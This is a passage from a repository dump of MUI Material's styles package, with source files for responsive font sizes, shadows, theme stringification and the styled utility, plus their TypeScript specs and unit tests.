MuiDrawer: DrawerProps;\n  MuiAccordion: AccordionProps;\n  MuiAccordionActions: AccordionActionsProps;\n  MuiAccordionDetails: AccordionDetailsProps;\n  MuiAccordionSummary: AccordionSummaryProps;\n  MuiFab: FabProps;\n  MuiFilledInput: FilledInputProps;\n  MuiFormControl: FormControlProps;\n  MuiFormControlLabel: FormControlLabelProps;\n  MuiFormGroup: FormGroupProps;\n  MuiFormHelperText: FormHelperTextProps;\n  MuiFormLabel: FormLabelProps;\n  MuiGrid: GridProps;\n  MuiImageList: ImageListProps;\n  MuiImageListItem: ImageListItemProps;\n  MuiImageListItemBar: ImageListItemBarProps;\n  MuiIcon: IconProps;\n  MuiIconButton: IconButtonProps;\n  MuiInput: InputProps;\n  MuiInputAdornment: InputAdornmentProps;\n  MuiInputBase: InputBaseProps;\n  MuiInputLabel: InputLabelProps;\n  MuiLinearProgress: LinearProgressProps;\n  MuiLink: LinkProps;\n  MuiList: ListProps;\n  MuiListItem: ListItemProps;\n  MuiListItemButton: ListItemButtonProps;\n  MuiListItemAvatar: ListItemAvatarProps;\n  MuiListItemIcon: ListItemIconProps;\n  MuiListItemSecondaryAction: ListItemSecondaryActionProps;\n  MuiListItemText: ListItemTextProps;\n  MuiListSubheader: ListSubheaderProps;\n  MuiMenu: MenuProps;\n  MuiMenuItem: MenuItemProps;\n  MuiMenuList: MenuListProps;\n  MuiMobileStepper: MobileStepperProps;\n  MuiModal: ModalProps;\n  MuiNativeSelect: NativeSelectProps;\n  MuiOutlinedInput: OutlinedInputProps;\n  MuiPagination: PaginationProps;\n  MuiPaginationItem: PaginationItemProps;\n  MuiPaper: PaperProps;\n  MuiPopper: PopperProps;\n  MuiPopover: PopoverProps;\n  MuiRadio: RadioProps;\n  MuiRadioGroup: RadioGroupProps;\n  MuiRating: RatingProps;\n  MuiScopedCssBaseline: ScopedCssBaselineProps;\n  MuiSelect: SelectProps;\n  MuiSkeleton: SkeletonProps;\n  MuiSlider: SliderProps;\n  MuiSnackbar: SnackbarProps;\n  MuiSnackbarContent: SnackbarContentProps;\n  MuiSpeedDial: SpeedDialProps;\n  MuiSpeedDialAction: SpeedDialActionProps;\n  MuiSpeedDialIcon: SpeedDialIconProps;\n  MuiStack: StackProps;\n  MuiStep: StepProps;\n  MuiStepButton: StepButtonProps;\n  MuiStepConnector: StepConnectorProps;\n  MuiStepContent: StepContentProps;\n  MuiStepIcon: StepIconProps;\n  MuiStepLabel: StepLabelProps;\n  MuiStepper: StepperProps;\n  MuiSvgIcon: SvgIconProps;\n  MuiSwipeableDrawer: SwipeableDrawerProps;\n  MuiSwitch: SwitchProps;\n  MuiTab: TabProps;\n  MuiTable: TableProps;\n  MuiTableBody: TableBodyProps;\n  MuiTableCell: TableCellProps;\n  MuiTableContainer: TableContainerProps;\n  MuiTableFooter: TableFooterProps;\n  MuiTableHead: TableHeadProps;\n  MuiTablePagination: TablePaginationProps;\n  MuiTablePaginationActions: TablePaginationActionsProps;\n  MuiTableRow: TableRowProps;\n  MuiTableSortLabel: TableSortLabelProps;\n  MuiTabs: TabsProps;\n  MuiTextField: TextFieldProps;\n  MuiToggleButton: ToggleButtonProps;\n  MuiToggleButtonGroup: ToggleButtonGroupProps;\n  MuiToolbar: ToolbarProps;\n  MuiTooltip: TooltipProps;\n  MuiTypography: TypographyProps;\n  MuiUseMediaQuery: UseMediaQueryOptions;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/responsiveFontSize.spec.ts",
    "content": "import {\n  responsiveFontSizes,\n  extendTheme,\n  createTheme,\n  Theme,\n  CssVarsTheme,\n} from '@mui/material/styles';\nimport { expectType } from '@mui/types';\n\nconst cssVarsTheme = responsiveFontSizes(extendTheme());\nexpectType<Omit<Theme, 'applyStyles'> & CssVarsTheme, typeof cssVarsTheme>(cssVarsTheme);\n\nconst theme = responsiveFontSizes(createTheme());\nexpectType<Theme, typeof theme>(theme);\n"
  },
  {
    "path": "packages/mui-material/src/styles/responsiveFontSizes.d.ts",
    "content": "import { Breakpoint } from '@mui/system';\nimport { TypographyVariants } from './createTypography';\n\nexport interface ResponsiveFontSizesOptions {\n  breakpoints?: Breakpoint[] | undefined;\n  disableAlign?: boolean | undefined;\n  factor?: number | undefined;\n  variants?: Array<keyof TypographyVariants> | undefined;\n}\n\nexport default function responsiveFontSizes<T extends { typography: TypographyVariants }>(\n  theme: T,\n  options?: ResponsiveFontSizesOptions,\n): T;\n"
  },
  {
    "path": "packages/mui-material/src/styles/responsiveFontSizes.js",
    "content": "import { isUnitless, convertLength, responsiveProperty, alignProperty, fontGrid } from './cssUtils';\n\nexport default function responsiveFontSizes(themeInput, options = {}) {\n  const {\n    breakpoints = ['sm', 'md', 'lg'],\n    disableAlign = false,\n    factor = 2,\n    variants = [\n      'h1',\n      'h2',\n      'h3',\n      'h4',\n      'h5',\n      'h6',\n      'subtitle1',\n      'subtitle2',\n      'body1',\n      'body2',\n      'caption',\n      'button',\n      'overline',\n    ],\n  } = options;\n\n  const theme = { ...themeInput };\n  theme.typography = { ...theme.typography };\n  const typography = theme.typography;\n\n  // Convert between CSS lengths e.g. em->px or px->rem\n  // Set the baseFontSize for your project. Defaults to 16px (also the browser default).\n  const convert = convertLength(typography.htmlFontSize);\n  const breakpointValues = breakpoints.map((x) => theme.breakpoints.values[x]);\n\n  variants.forEach((variant) => {\n    const style = typography[variant];\n\n    if (!style) {\n      return;\n    }\n\n    const remFontSize = parseFloat(convert(style.fontSize, 'rem'));\n\n    if (remFontSize <= 1) {\n      return;\n    }\n\n    const maxFontSize = remFontSize;\n    const minFontSize = 1 + (maxFontSize - 1) / factor;\n\n    let { lineHeight } = style;\n\n    if (!isUnitless(lineHeight) && !disableAlign) {\n      throw /* minify-error */ new Error(\n        'MUI: Unsupported non-unitless line height with grid alignment.\\n' +\n          'Use unitless line heights instead.',\n      );\n    }\n\n    if (!isUnitless(lineHeight)) {\n      // make it unitless\n      lineHeight = parseFloat(convert(lineHeight, 'rem')) / parseFloat(remFontSize);\n    }\n\n    let transform = null;\n\n    if (!disableAlign) {\n      transform = (value) =>\n        alignProperty({\n          size: value,\n          grid: fontGrid({ pixels: 4, lineHeight, htmlFontSize: typography.htmlFontSize }),\n        });\n    }\n\n    typography[variant] = {\n      ...style,\n      ...responsiveProperty({\n        cssProperty: 'fontSize',\n        min: minFontSize,\n        max: maxFontSize,\n        unit: 'rem',\n        breakpoints: breakpointValues,\n        transform,\n      }),\n    };\n  });\n\n  return theme;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/responsiveFontSizes.test.js",
    "content": "import { expect } from 'chai';\nimport { createTheme } from '@mui/material/styles';\nimport defaultTheme from './defaultTheme';\nimport responsiveFontSizes from './responsiveFontSizes';\n\ndescribe('responsiveFontSizes', () => {\n  it('should support unitless line height', () => {\n    const defaultVariant = {\n      fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      fontSize: '6rem',\n      fontWeight: 300,\n      letterSpacing: '-0.01562em',\n      lineHeight: 1,\n    };\n\n    const theme = createTheme({\n      typography: {\n        h1: defaultVariant,\n      },\n    });\n    const { typography } = responsiveFontSizes(theme);\n    expect(typography.h1).to.deep.equal({\n      ...defaultVariant,\n      fontSize: '3.5rem',\n      [`@media (min-width:${defaultTheme.breakpoints.values.sm}px)`]: { fontSize: '4.75rem' },\n      [`@media (min-width:${defaultTheme.breakpoints.values.md}px)`]: { fontSize: '5.5rem' },\n      [`@media (min-width:${defaultTheme.breakpoints.values.lg}px)`]: {\n        fontSize: defaultVariant.fontSize,\n      },\n    });\n  });\n\n  it('should disable vertical alignment', () => {\n    const defaultVariant = {\n      fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      fontSize: '6rem',\n      fontWeight: 300,\n      letterSpacing: '-0.01562em',\n      lineHeight: '6rem',\n    };\n\n    const theme = createTheme({\n      typography: {\n        h1: defaultVariant,\n      },\n    });\n    const { typography } = responsiveFontSizes(theme, {\n      disableAlign: true,\n    });\n\n    expect(typography.h1).to.deep.equal({\n      ...defaultVariant,\n      fontSize: '3.5rem',\n      [`@media (min-width:${defaultTheme.breakpoints.values.sm}px)`]: { fontSize: '4.75rem' },\n      [`@media (min-width:${defaultTheme.breakpoints.values.md}px)`]: { fontSize: '5.375rem' },\n      [`@media (min-width:${defaultTheme.breakpoints.values.lg}px)`]: {\n        fontSize: defaultVariant.fontSize,\n      },\n    });\n  });\n\n  it('should handle variants that have been reset to undefined', () => {\n    const theme = createTheme({\n      typography: {\n        h1: undefined,\n      },\n    });\n    const { typography } = responsiveFontSizes(theme, {\n      disableAlign: true,\n    });\n\n    expect(typography.h1).to.deep.equal(undefined);\n  });\n\n  describe('when requesting a responsive typography with non unitless line height and alignment', () => {\n    it('should throw an error, as this is not supported', () => {\n      const theme = createTheme({\n        typography: {\n          h1: {\n            lineHeight: '6rem',\n          },\n        },\n      });\n      expect(() => {\n        responsiveFontSizes(theme);\n      }).toThrowMinified(\n        'MUI: Unsupported non-unitless line height with grid alignment.\\n' +\n          'Use unitless line heights instead.',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/rootShouldForwardProp.ts",
    "content": "import slotShouldForwardProp from './slotShouldForwardProp';\n\nconst rootShouldForwardProp = (prop: string) => slotShouldForwardProp(prop) && prop !== 'classes';\n\nexport default rootShouldForwardProp;\n"
  },
  {
    "path": "packages/mui-material/src/styles/shadows.d.ts",
    "content": "export type Shadows = [\n  'none',\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n  string,\n];\ndeclare const shadows: Shadows;\nexport default shadows;\n"
  },
  {
    "path": "packages/mui-material/src/styles/shadows.js",
    "content": "const shadowKeyUmbraOpacity = 0.2;\nconst shadowKeyPenumbraOpacity = 0.14;\nconst shadowAmbientShadowOpacity = 0.12;\n\nfunction createShadow(...px) {\n  return [\n    `${px[0]}px ${px[1]}px ${px[2]}px ${px[3]}px rgba(0,0,0,${shadowKeyUmbraOpacity})`,\n    `${px[4]}px ${px[5]}px ${px[6]}px ${px[7]}px rgba(0,0,0,${shadowKeyPenumbraOpacity})`,\n    `${px[8]}px ${px[9]}px ${px[10]}px ${px[11]}px rgba(0,0,0,${shadowAmbientShadowOpacity})`,\n  ].join(',');\n}\n\n// Values from https://github.com/material-components/material-components-web/blob/be8747f94574669cb5e7add1a7c54fa41a89cec7/packages/mdc-elevation/_variables.scss\nconst shadows = [\n  'none',\n  createShadow(0, 2, 1, -1, 0, 1, 1, 0, 0, 1, 3, 0),\n  createShadow(0, 3, 1, -2, 0, 2, 2, 0, 0, 1, 5, 0),\n  createShadow(0, 3, 3, -2, 0, 3, 4, 0, 0, 1, 8, 0),\n  createShadow(0, 2, 4, -1, 0, 4, 5, 0, 0, 1, 10, 0),\n  createShadow(0, 3, 5, -1, 0, 5, 8, 0, 0, 1, 14, 0),\n  createShadow(0, 3, 5, -1, 0, 6, 10, 0, 0, 1, 18, 0),\n  createShadow(0, 4, 5, -2, 0, 7, 10, 1, 0, 2, 16, 1),\n  createShadow(0, 5, 5, -3, 0, 8, 10, 1, 0, 3, 14, 2),\n  createShadow(0, 5, 6, -3, 0, 9, 12, 1, 0, 3, 16, 2),\n  createShadow(0, 6, 6, -3, 0, 10, 14, 1, 0, 4, 18, 3),\n  createShadow(0, 6, 7, -4, 0, 11, 15, 1, 0, 4, 20, 3),\n  createShadow(0, 7, 8, -4, 0, 12, 17, 2, 0, 5, 22, 4),\n  createShadow(0, 7, 8, -4, 0, 13, 19, 2, 0, 5, 24, 4),\n  createShadow(0, 7, 9, -4, 0, 14, 21, 2, 0, 5, 26, 4),\n  createShadow(0, 8, 9, -5, 0, 15, 22, 2, 0, 6, 28, 5),\n  createShadow(0, 8, 10, -5, 0, 16, 24, 2, 0, 6, 30, 5),\n  createShadow(0, 8, 11, -5, 0, 17, 26, 2, 0, 6, 32, 5),\n  createShadow(0, 9, 11, -5, 0, 18, 28, 2, 0, 7, 34, 6),\n  createShadow(0, 9, 12, -6, 0, 19, 29, 2, 0, 7, 36, 6),\n  createShadow(0, 10, 13, -6, 0, 20, 31, 3, 0, 8, 38, 7),\n  createShadow(0, 10, 13, -6, 0, 21, 33, 3, 0, 8, 40, 7),\n  createShadow(0, 10, 14, -6, 0, 22, 35, 3, 0, 8, 42, 7),\n  createShadow(0, 11, 14, -7, 0, 23, 36, 3, 0, 9, 44, 8),\n  createShadow(0, 11, 15, -7, 0, 24, 38, 3, 0, 9, 46, 8),\n];\n\nexport default shadows;\n"
  },
  {
    "path": "packages/mui-material/src/styles/shouldSkipGeneratingVar.ts",
    "content": "export default function shouldSkipGeneratingVar(keys: string[]) {\n  return (\n    !!keys[0].match(\n      /(cssVarPrefix|colorSchemeSelector|modularCssLayers|rootSelector|typography|mixins|breakpoints|direction|transitions)/,\n    ) ||\n    !!keys[0].match(/sxConfig$/) || // ends with sxConfig\n    (keys[0] === 'palette' && !!keys[1]?.match(/(mode|contrastThreshold|tonalOffset)/))\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/slotShouldForwardProp.ts",
    "content": "// copied from @mui/system/createStyled\nfunction slotShouldForwardProp(prop: string) {\n  return prop !== 'ownerState' && prop !== 'theme' && prop !== 'sx' && prop !== 'as';\n}\n\nexport default slotShouldForwardProp;\n"
  },
  {
    "path": "packages/mui-material/src/styles/stringifyTheme.test.ts",
    "content": "import { expect } from 'chai';\nimport { createTheme } from '@mui/material/styles';\nimport { stringifyTheme } from './stringifyTheme';\n\ndescribe('StringifyTheme', () => {\n  it('should serialize the theme', () => {\n    const theme = createTheme({ cssVariables: true });\n    const result = stringifyTheme({\n      breakpoints: theme.breakpoints,\n      transitions: theme.transitions,\n    });\n    expect(result).to\n      .equal(`import { unstable_createBreakpoints as createBreakpoints, createTransitions } from '@mui/material/styles';\n\nconst theme = {\n  \"breakpoints\": {\n    \"keys\": [\n      \"xs\",\n      \"sm\",\n      \"md\",\n      \"lg\",\n      \"xl\"\n    ],\n    \"values\": {\n      \"xs\": 0,\n      \"sm\": 600,\n      \"md\": 900,\n      \"lg\": 1200,\n      \"xl\": 1536\n    },\n    \"unit\": \"px\"\n  },\n  \"transitions\": {\n    \"easing\": {\n      \"easeInOut\": \"cubic-bezier(0.4, 0, 0.2, 1)\",\n      \"easeOut\": \"cubic-bezier(0.0, 0, 0.2, 1)\",\n      \"easeIn\": \"cubic-bezier(0.4, 0, 1, 1)\",\n      \"sharp\": \"cubic-bezier(0.4, 0, 0.6, 1)\"\n    },\n    \"duration\": {\n      \"shortest\": 150,\n      \"shorter\": 200,\n      \"short\": 250,\n      \"standard\": 300,\n      \"complex\": 375,\n      \"enteringScreen\": 225,\n      \"leavingScreen\": 195\n    }\n  }\n};\n\ntheme.breakpoints = createBreakpoints(theme.breakpoints || {});\ntheme.transitions = createTransitions(theme.transitions || {});\n\nexport default theme;`);\n\n    // test that non-seriazable values still exist in the original theme\n    expect(typeof theme.generateStyleSheets).to.equal('function');\n  });\n\n  it('should serialize the custom theme', () => {\n    const theme = createTheme({\n      cssVariables: true,\n      breakpoints: {\n        values: {\n          mobile: 0,\n          tablet: 640,\n          laptop: 1024,\n          desktop: 1280,\n        } as any,\n      },\n      transitions: {\n        duration: {\n          standard: 432,\n        },\n      },\n    });\n    const result = stringifyTheme({\n      breakpoints: theme.breakpoints,\n      transitions: theme.transitions,\n    });\n    expect(result).to\n      .equal(`import { unstable_createBreakpoints as createBreakpoints, createTransitions } from '@mui/material/styles';\n\nconst theme = {\n  \"breakpoints\": {\n    \"keys\": [\n      \"mobile\",\n      \"tablet\",\n      \"laptop\",\n      \"desktop\"\n    ],\n    \"values\": {\n      \"mobile\": 0,\n      \"tablet\": 640,\n      \"laptop\": 1024,\n      \"desktop\": 1280\n    },\n    \"unit\": \"px\"\n  },\n  \"transitions\": {\n    \"duration\": {\n      \"standard\": 432,\n      \"shortest\": 150,\n      \"shorter\": 200,\n      \"short\": 250,\n      \"complex\": 375,\n      \"enteringScreen\": 225,\n      \"leavingScreen\": 195\n    },\n    \"easing\": {\n      \"easeInOut\": \"cubic-bezier(0.4, 0, 0.2, 1)\",\n      \"easeOut\": \"cubic-bezier(0.0, 0, 0.2, 1)\",\n      \"easeIn\": \"cubic-bezier(0.4, 0, 1, 1)\",\n      \"sharp\": \"cubic-bezier(0.4, 0, 0.6, 1)\"\n    }\n  }\n};\n\ntheme.breakpoints = createBreakpoints(theme.breakpoints || {});\ntheme.transitions = createTransitions(theme.transitions || {});\n\nexport default theme;`);\n\n    // test that non-seriazable values still exist in the original theme\n    expect(typeof theme.generateStyleSheets).to.equal('function');\n  });\n\n  it('works with framework toRuntimeSource', () => {\n    const theme = { palette: { primary: { main: '#ff5252' } }, toRuntimeSource: stringifyTheme };\n    expect(theme.toRuntimeSource.call(theme, theme)).to\n      .equal(`import { unstable_createBreakpoints as createBreakpoints, createTransitions } from '@mui/material/styles';\n\nconst theme = {\n  \"palette\": {\n    \"primary\": {\n      \"main\": \"#ff5252\"\n    }\n  }\n};\n\ntheme.breakpoints = createBreakpoints(theme.breakpoints || {});\ntheme.transitions = createTransitions(theme.transitions || {});\n\nexport default theme;`);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/stringifyTheme.ts",
    "content": "/* eslint-disable import/prefer-default-export */\nimport { isPlainObject } from '@mui/utils/deepmerge';\n\nfunction isSerializable(val: any) {\n  return (\n    isPlainObject(val) ||\n    typeof val === 'undefined' ||\n    typeof val === 'string' ||\n    typeof val === 'boolean' ||\n    typeof val === 'number' ||\n    Array.isArray(val)\n  );\n}\n\n/**\n * `baseTheme` usually comes from `createTheme()` or `extendTheme()`.\n *\n * This function is intended to be used with zero-runtime CSS-in-JS like Pigment CSS\n * For example, in a Next.js project:\n *\n * ```js\n * // next.config.js\n * const { extendTheme } = require('@mui/material/styles');\n *\n * const theme = extendTheme();\n * // `.toRuntimeSource` is Pigment CSS specific to create a theme that is available at runtime.\n * theme.toRuntimeSource = stringifyTheme;\n *\n * module.exports = withPigment({\n *  theme,\n * });\n * ```\n */\nexport function stringifyTheme(baseTheme: Record<string, any> = {}) {\n  const serializableTheme: Record<string, any> = { ...baseTheme };\n\n  function serializeTheme(object: Record<string, any>) {\n    const array = Object.entries(object);\n    // eslint-disable-next-line no-plusplus\n    for (let index = 0; index < array.length; index++) {\n      const [key, value] = array[index];\n      if (!isSerializable(value) || key.startsWith('unstable_') || key.startsWith('internal_')) {\n        delete object[key];\n      } else if (isPlainObject(value)) {\n        object[key] = { ...value };\n        serializeTheme(object[key]);\n      }\n    }\n  }\n\n  serializeTheme(serializableTheme);\n\n  return `import { unstable_createBreakpoints as createBreakpoints, createTransitions } from '@mui/material/styles';\n\nconst theme = ${JSON.stringify(serializableTheme, null, 2)};\n\ntheme.breakpoints = createBreakpoints(theme.breakpoints || {});\ntheme.transitions = createTransitions(theme.transitions || {});\n\nexport default theme;`;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/styled.d.ts",
    "content": "import { CreateMUIStyled } from '@mui/system';\nimport { Theme } from './createTheme';\n\nexport { default as slotShouldForwardProp } from './slotShouldForwardProp';\nexport { default as rootShouldForwardProp } from './rootShouldForwardProp';\n\n/**\n * Custom styled utility that has a default MUI theme.\n * @param tag HTML tag or component that should serve as base.\n * @param options Styled options for the created component.\n * @returns React component that has styles attached to it.\n */\ndeclare const styled: CreateMUIStyled<Theme>;\n\nexport default styled;\n"
  },
  {
    "path": "packages/mui-material/src/styles/styled.js",
    "content": "'use client';\nimport createStyled from '@mui/system/createStyled';\nimport defaultTheme from './defaultTheme';\nimport THEME_ID from './identifier';\nimport rootShouldForwardProp from './rootShouldForwardProp';\n\nexport { default as slotShouldForwardProp } from './slotShouldForwardProp';\nexport { default as rootShouldForwardProp } from './rootShouldForwardProp';\n\nconst styled = createStyled({\n  themeId: THEME_ID,\n  defaultTheme,\n  rootShouldForwardProp,\n});\n\nexport default styled;\n"
  },
  {
    "path": "packages/mui-material/src/styles/styled.spec.tsx",
    "content": "/* eslint-disable mui/material-ui-no-empty-box */\nimport * as React from 'react';\nimport MuiPaper from '@mui/material/Paper';\nimport { styled, css, ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst Box = styled('div')(({ theme }) => ({\n  color: theme.palette.primary.main,\n}));\n\nconst SimpleBox = styled('div')``;\n\nfunction SxTestSimpleBox() {\n  <SimpleBox sx={{ p: [2, 3, 4] }} />;\n}\n\nfunction SxTest() {\n  <Box sx={{ p: [2, 3, 4] }} />;\n}\n\nfunction WorksWithNoTheme() {\n  <Box />;\n}\n\nconst StyledToolbar = styled('div')(({ theme }) => ({\n  ...theme.mixins.toolbar,\n}));\n\nconst StyledSpan = styled('span')(({ theme }) => ({\n  ...theme.typography.body1,\n}));\n\nconst Container = styled('div')<{ $heightLimit: boolean }>`\n  min-width: 0;\n\n  ${({ $heightLimit }) =>\n    $heightLimit &&\n    css`\n      background: red;\n      height: 10vh;\n    `}\n`;\n\n// https://github.com/mui/material-ui/issues/28844\ninterface PropsFooVariant {\n  variant: 'foo';\n}\ninterface PropsBarVariant {\n  variant: 'bar';\n}\nfunction Component(props: PropsFooVariant | PropsBarVariant) {\n  return <div />;\n}\nconst StyledComponent = styled(Component)(({ theme }) => ({}));\nconst rendered = (\n  <React.Fragment>\n    <StyledComponent variant=\"foo\" />\n    <StyledComponent variant=\"bar\" />\n  </React.Fragment>\n);\n/**\n * ===================================================================\n */\n\n/**\n * Test styleOverrides callback types\n */\ninterface ButtonProps {\n  startIcon?: React.ReactNode;\n  endIcon?: React.ReactNode;\n  color?: 'primary';\n  variant?: 'contained';\n}\n\nconst ButtonRoot = styled('button', {\n  name: 'MuiButton',\n  slot: 'Root',\n})<{ ownerState: ButtonProps }>({});\n\nconst ButtonIcon = styled('span', {\n  name: 'MuiButton',\n  slot: 'Icon',\n})<{ ownerState: ButtonProps }>({});\n\nfunction Button({\n  children,\n  startIcon,\n  endIcon,\n  color = 'primary',\n  variant = 'contained',\n  ...props\n}: React.PropsWithChildren<ButtonProps>) {\n  const ownerState = { startIcon, endIcon, color, variant, ...props };\n  return (\n    <ButtonRoot ownerState={ownerState}>\n      {startIcon && <ButtonIcon ownerState={ownerState}>{startIcon}</ButtonIcon>}\n      {children}\n      {endIcon && <ButtonIcon ownerState={ownerState}>{endIcon}</ButtonIcon>}\n    </ButtonRoot>\n  );\n}\n\n<ThemeProvider\n  theme={createTheme({\n    typography: {\n      button: {\n        lineHeight: 1.5,\n      },\n    },\n    components: {\n      MuiButton: {\n        styleOverrides: {\n          root: ({ ownerState, theme }) => {\n            const { color, variant } = ownerState;\n            const styles = [];\n            if (color === 'primary') {\n              styles.push({\n                width: 120,\n                height: 48,\n              });\n            }\n            if (variant === 'contained') {\n              styles.push(theme.typography.button);\n            }\n            return styles;\n          },\n          startIcon: ({ ownerState: { startIcon, endIcon } }) => [\n            !!startIcon && { marginRight: 8 },\n            !!endIcon && { marginLeft: 8 },\n          ],\n        },\n      },\n      MuiSlider: {\n        styleOverrides: {\n          mark: (props) => ({\n            ...(props['data-index'] === 0 && {}),\n          }),\n          thumb: ({ theme }) =>\n            theme.unstable_sx({\n              p: 1,\n            }),\n          track: ({ ownerState, theme }) => [\n            theme.unstable_sx({ height: 10 }),\n            ownerState.orientation === 'vertical' &&\n              theme.unstable_sx({\n                my: 2,\n              }),\n          ],\n        },\n      },\n    },\n  })}\n>\n  <Button color=\"primary\" variant=\"contained\" startIcon=\"foo\">\n    Hello\n  </Button>\n</ThemeProvider>;\n\nfunction variantsAPI() {\n  const ObjectSyntax = styled('div')<{ foo?: string; bar?: number }>({\n    variants: [\n      {\n        props: { foo: 'a' },\n        style: { color: 'blue' },\n      },\n    ],\n  });\n\n  const FunctionSyntax = styled('div')<{ foo?: string; bar?: number }>(() => ({\n    variants: [\n      {\n        props: { foo: 'a' },\n        style: { color: 'blue' },\n      },\n    ],\n  }));\n\n  // @ts-expect-error the API is not valid for CSS properties\n  const WrongUsage = styled('div')<{ foo?: string; bar?: number }>({\n    color: [\n      {\n        props: { foo: 'a' },\n        style: { color: 'blue' },\n      },\n    ],\n  });\n}\n\ntype PickerOrientation = 'portrait' | 'landscape';\n\ntype PickerVariant = 'mobile' | 'desktop';\n\ninterface PickerOwnerState {\n  isPickerValueEmpty: boolean;\n  isPickerOpen: boolean;\n  isPickerDisabled: boolean;\n  isPickerReadOnly: boolean;\n  pickerVariant: PickerVariant;\n  pickerOrientation: PickerOrientation;\n}\n\ninterface PickerToolbarOwnerState extends PickerOwnerState {\n  toolbarDirection: 'ltr' | 'rtl';\n}\n\nconst DateTimePickerToolbarTimeContainer = styled('div', {\n  name: 'MuiDateTimePickerToolbar',\n  slot: 'TimeContainer',\n})<{ ownerState: PickerToolbarOwnerState; toolbarVariant: PickerVariant }>({\n  display: 'flex',\n  flexDirection: 'row',\n  variants: [\n    {\n      props: { toolbarDirection: 'rtl' },\n      style: {\n        flexDirection: 'row-reverse',\n      },\n    },\n    {\n      props: { toolbarVariant: 'desktop', pickerOrientation: 'portrait' },\n      style: {\n        gap: 9,\n        marginRight: 4,\n        alignSelf: 'flex-end',\n      },\n    },\n    {\n      props: ({ pickerOrientation, toolbarVariant }) =>\n        pickerOrientation === 'landscape' && toolbarVariant !== 'desktop',\n      style: {\n        flexDirection: 'column',\n      },\n    },\n    {\n      props: ({ pickerOrientation, toolbarVariant, toolbarDirection }) =>\n        pickerOrientation === 'landscape' &&\n        toolbarVariant !== 'desktop' &&\n        toolbarDirection === 'rtl',\n      style: {\n        flexDirection: 'column-reverse',\n      },\n    },\n  ],\n});\n\ninterface PickerPopperOwnerState extends PickerOwnerState {\n  popperPlacement:\n    | 'top'\n    | 'bottom'\n    | 'left'\n    | 'right'\n    | 'top-start'\n    | 'top-end'\n    | 'bottom-start'\n    | 'bottom-end'\n    | 'left-start'\n    | 'left-end'\n    | 'right-start'\n    | 'right-end'\n    | 'auto'\n    | 'auto-start'\n    | 'auto-end';\n}\n\nconst PickerPopperPaper = styled(MuiPaper, {\n  name: 'MuiPickerPopper',\n  slot: 'Paper',\n})<{\n  ownerState: PickerPopperOwnerState;\n}>({\n  outline: 0,\n  transformOrigin: 'top center',\n  variants: [\n    {\n      props: ({ popperPlacement }) => new Set(['top', 'top-start', 'top-end']).has(popperPlacement),\n      style: {\n        transformOrigin: 'bottom center',\n      },\n    },\n  ],\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/styled.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport createTheme from './createTheme';\nimport styled from './styled';\nimport ThemeProvider from './ThemeProvider';\n\ndescribe('styled', () => {\n  const { render } = createRenderer();\n\n  it('should work', () => {\n    const Div = styled('div')`\n      width: 200px;\n    `;\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '200px',\n    });\n  });\n\n  it('should work when styles are object', () => {\n    const Div = styled('div')({\n      width: '200px',\n    });\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '200px',\n    });\n  });\n\n  it('should use defaultTheme if no theme is provided', () => {\n    const Div = styled('div')`\n      width: ${(props) => props.theme.spacing(1)};\n    `;\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '8px',\n    });\n  });\n\n  it('should use defaultTheme if no theme is provided when styles are object', () => {\n    const Div = styled('div')((props) => ({\n      width: props.theme.spacing(1),\n    }));\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '8px',\n    });\n  });\n\n  it('should use theme from context if available', () => {\n    const Div = styled('div')`\n      width: ${(props) => props.theme.spacing(1)};\n    `;\n\n    const theme = createTheme({\n      spacing: 10,\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Div>Test</Div>\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '10px',\n    });\n  });\n\n  it('should use theme from context if available when styles are object', () => {\n    const Div = styled('div')((props) => ({\n      width: props.theme.spacing(1),\n    }));\n\n    const theme = createTheme({\n      spacing: 10,\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Div>Test</Div>\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '10px',\n    });\n  });\n\n  describe('dynamic styles', () => {\n    it('can adapt styles to props', () => {\n      const Div = styled('div')`\n        font-size: ${(props) => props.scale * 8}px;\n        padding-left: ${(props) => props.scale * 2}px;\n      `;\n      render(<Div scale={4} data-testid=\"target\" />);\n\n      expect(screen.getByTestId('target')).toHaveComputedStyle({\n        fontSize: '32px',\n        paddingLeft: '8px',\n      });\n    });\n\n    it('can adapt styles to props when styles are object', () => {\n      const DivObj = styled('div')((props) => ({\n        fontSize: `${props.scale * 8}px`,\n        paddingLeft: `${props.scale * 2}px`,\n      }));\n      render(<DivObj scale={4} data-testid=\"target\" />);\n\n      expect(screen.getByTestId('target')).toHaveComputedStyle({\n        fontSize: '32px',\n        paddingLeft: '8px',\n      });\n    });\n  });\n\n  describe('muiOptions', () => {\n    /**\n     * @type {ReturnType<typeof createTheme>}\n     */\n    let theme;\n    /**\n     * @type {ReturnType<typeof styled>}\n     */\n    let Test;\n    /**\n     * @type {ReturnType<typeof styled>}\n     */\n    let TestObj;\n\n    beforeAll(() => {\n      theme = createTheme({\n        palette: {\n          primary: {\n            main: 